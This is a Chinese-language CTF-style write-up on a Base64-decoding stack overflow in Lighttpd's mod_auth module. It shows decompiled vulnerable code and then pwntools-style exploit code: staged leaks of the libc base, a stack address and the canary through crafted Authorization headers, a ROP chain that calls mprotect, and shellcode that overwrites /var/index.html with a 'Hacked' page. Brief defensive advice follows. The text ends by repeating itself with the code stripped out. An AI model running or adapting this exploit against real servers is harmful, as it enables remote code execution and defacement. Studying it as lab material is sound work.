lighttpd溢出漏洞构造ROP链
字数 972 2025-08-20 18:17:07

Lighttpd 栈溢出漏洞分析与利用教学文档

1. 漏洞概述

本漏洞存在于 Lighttpd 的 mod_auth.so 模块中,具体在 li_base64_dec 函数的 Base64 解码过程中存在栈溢出漏洞。攻击者可以通过精心构造的 Authorization 头部触发该漏洞,进而实现远程代码执行。

2. 环境配置

2.1 服务启动

Lighttpd 服务默认监听在 8080 端口,可通过以下命令启动:

/home/qwb/lighttpd -f /home/qwb/lighttpd.conf

如果遇到端口冲突错误:

bind() 0.0.0.0:8080: Address already in use

3. 漏洞分析

3.1 漏洞位置

漏洞位于 mod_auth.so 模块的 sub_4989 函数中,具体在 Base64 解码部分:

na = li_base64_dec(s, 1024LL, *v16 + 6LL, n, 0LL); // 栈溢出

3.2 漏洞函数分析

li_base64_dec 函数存在以下关键问题:

__int64 __fastcall li_base64_dec(__int64 a1, __int64 a2, char *a3, __int64 a4, int a5) {
    // ...
    while (v12 < v17) {
        if (*v12 < 0)
            v6 = -1LL;
        else
            v6 = v18[*v12];
        v13 = v6;
        if (v6 >= 0) {
            v14 = v6 | (v14 << 6);
            // 关键漏洞点:没有检查输出缓冲区边界
            if ((++v15 & 3) == 0) {
                *(a1 + v16) = BYTE2(v14);
                *(a1 + v16 + 1) = BYTE1(v14);
                v7 = v16 + 2;
                v16 += 3LL;
                *(a1 + v7) = v14;
                v14 = 0LL;
            }
        }
        // ...
    }
    // ...
}

主要问题:

  1. 缺少对输入参数的有效性检查
  2. 没有验证输出缓冲区边界
  3. 允许任意长度的 Base64 输入导致栈溢出

3.3 信息泄露机制

当 Base64 解码后的账号密码中不存在冒号 : 时,会进入 sub_4720 函数,该函数可以泄露内存信息:

v21 = (char *)memchr(s, ':', na);
if (!v21) {
    s[na - 1] = 0;
    log_error(...);
    return sub_4720(a1, *(_QWORD *)(a3 + 8), (const char *)dest); // 信息泄露
}

4. 漏洞利用

4.1 利用步骤

  1. 泄露 libc 基地址
  2. 泄露栈地址
  3. 泄露 Canary 值
  4. 构造 ROP 链
  5. 执行 shellcode

4.2 详细利用过程

4.2.1 泄露 libc 基地址

with remote(target_ip, 8080) as connection:
    payload = (
        b'GET /www/ HTTP/1.1\r\n'
        b'Host: www.xmcve.com\r\n'
        b'Authorization: Basic ' + base64.b64encode(b'a' * 0x68) + b'\r\n\r\n'
    )
    send_line(connection, payload)
    
    for _ in range(2):
        receive_until(connection, b'a' * 0x68)
        libc_base = read_64_bits(connection) - 0xe1225
        receive_data(connection)

4.2.2 泄露栈地址

payload = (
    b'GET /www/ HTTP/1.1\r\n'
    b'Host: www.xmcve.com\r\n'
    b'Authorization: Basic ' + base64.b64encode(b'c' * 0x80) + b'\r\n\r\n'
)
send_line(connection, payload)
receive_until(connection, b'c' * 0x80)
leaked_stack = read_64_bits(connection)

4.2.3 泄露 Canary 值

payload = (
    b'GET /www/ HTTP/1.1\r\n'
    b'Host: www.xmcve.com\r\n'
    b'Authorization: Basic ' + base64.b64encode(b'b' * 0xe9) + b'\r\n\r\n'
)
send_line(connection, payload)
receive_until(connection, b'b' * 0xe9)
canary_value = u64(connection.recv(7).rjust(8, b'\x00'))

4.2.4 构造 ROP 链

# 计算关键地址
system_addr, bin_sh_addr = find_system_and_binsh(libc_base, remote_library)
ret_addr = libc_base + 0x0000000000029139
rdi_gadget = libc_base + 0x000000000002a3e5
rsi_gadget = libc_base + 0x000000000002be51
rdx_r12_gadget = libc_base + 0x000000000011f2e7
rax_gadget = libc_base + 0x0000000000045eb0
syscall_gadget = libc_base + 0x0000000000029db4
read_function = libc_base + remote_library.sym['read']
mprotect_function = libc_base + remote_library.sym['mprotect']

# 构造 shellcode
html_content = (
    b'\n<html>\n<head>\n <title>test!</title>\n</head>\n<body>\n'
    b' <h1>Test!!!!!!</h1>\n <p>Hacked by Test.</p>\n</body>\n</html>\x00'
)

shellcode = asm(
    shellcraft.open('/var/index.html', 'O_RDWR') +
    'mov r15, rax' +
    shellcraft.write('rax', leaked_stack + 0x1d0, 0x100) +
    shellcraft.close('r15')
).ljust(0x100, b'\x00') + html_content

# 构造完整ROP链
rop_chain = (
    b'a' * 0x408 +
    pack('<Q', canary_value) +
    pack('<Q', 0) +
    pack('<Q', rdi_gadget) +
    pack('<Q', leaked_stack >> 12 << 12) +
    pack('<Q', rsi_gadget) +
    pack('<Q', 0x2000) +
    pack('<Q', rdx_r12_gadget) +
    pack('<Q', 0x7) * 2 +
    pack('<Q', mprotect_function) +
    pack('<Q', leaked_stack + 0xd0) +
    shellcode
)

4.2.5 发送最终payload

final_payload = (
    b'GET /www/ HTTP/1.1\r\n'
    b'Host: www.test.com\r\n'
    b'Authorization: Basic ' + base64.b64encode(rop_chain) + b'\r\n\r\n'
)
send_line(connection, final_payload)

5. 关键点总结

  1. 漏洞触发点:通过超长的Base64编码的Authorization头部触发栈溢出
  2. 信息泄露:利用缺少冒号的Base64字符串触发sub_4720函数泄露内存
  3. 利用链构造
    • 分阶段泄露libc基地址、栈地址和Canary值
    • 使用ROP链绕过保护机制
    • 调用mprotect修改内存权限后执行shellcode
  4. 利用效果:修改/var/index.html文件内容

6. 防御建议

  1. li_base64_dec函数中添加输入长度检查
  2. 验证输出缓冲区边界
  3. 对Base64解码后的数据进行严格格式验证
  4. 更新到最新版本的Lighttpd

7. 完整EXP

完整利用代码已在原文中提供,包含所有必要的功能函数和利用步骤。关键点在于分阶段泄露内存信息并精心构造ROP链实现任意代码执行。

Lighttpd 栈溢出漏洞分析与利用教学文档 1. 漏洞概述 本漏洞存在于 Lighttpd 的 mod_ auth.so 模块中,具体在 li_base64_dec 函数的 Base64 解码过程中存在栈溢出漏洞。攻击者可以通过精心构造的 Authorization 头部触发该漏洞,进而实现远程代码执行。 2. 环境配置 2.1 服务启动 Lighttpd 服务默认监听在 8080 端口,可通过以下命令启动: 如果遇到端口冲突错误: 3. 漏洞分析 3.1 漏洞位置 漏洞位于 mod_ auth.so 模块的 sub_4989 函数中,具体在 Base64 解码部分: 3.2 漏洞函数分析 li_base64_dec 函数存在以下关键问题: 主要问题: 缺少对输入参数的有效性检查 没有验证输出缓冲区边界 允许任意长度的 Base64 输入导致栈溢出 3.3 信息泄露机制 当 Base64 解码后的账号密码中不存在冒号 : 时,会进入 sub_4720 函数,该函数可以泄露内存信息: 4. 漏洞利用 4.1 利用步骤 泄露 libc 基地址 泄露栈地址 泄露 Canary 值 构造 ROP 链 执行 shellcode 4.2 详细利用过程 4.2.1 泄露 libc 基地址 4.2.2 泄露栈地址 4.2.3 泄露 Canary 值 4.2.4 构造 ROP 链 4.2.5 发送最终payload 5. 关键点总结 漏洞触发点 :通过超长的Base64编码的Authorization头部触发栈溢出 信息泄露 :利用缺少冒号的Base64字符串触发sub_ 4720函数泄露内存 利用链构造 : 分阶段泄露libc基地址、栈地址和Canary值 使用ROP链绕过保护机制 调用mprotect修改内存权限后执行shellcode 利用效果 :修改/var/index.html文件内容 6. 防御建议 在 li_base64_dec 函数中添加输入长度检查 验证输出缓冲区边界 对Base64解码后的数据进行严格格式验证 更新到最新版本的Lighttpd 7. 完整EXP 完整利用代码已在原文中提供,包含所有必要的功能函数和利用步骤。关键点在于分阶段泄露内存信息并精心构造ROP链实现任意代码执行。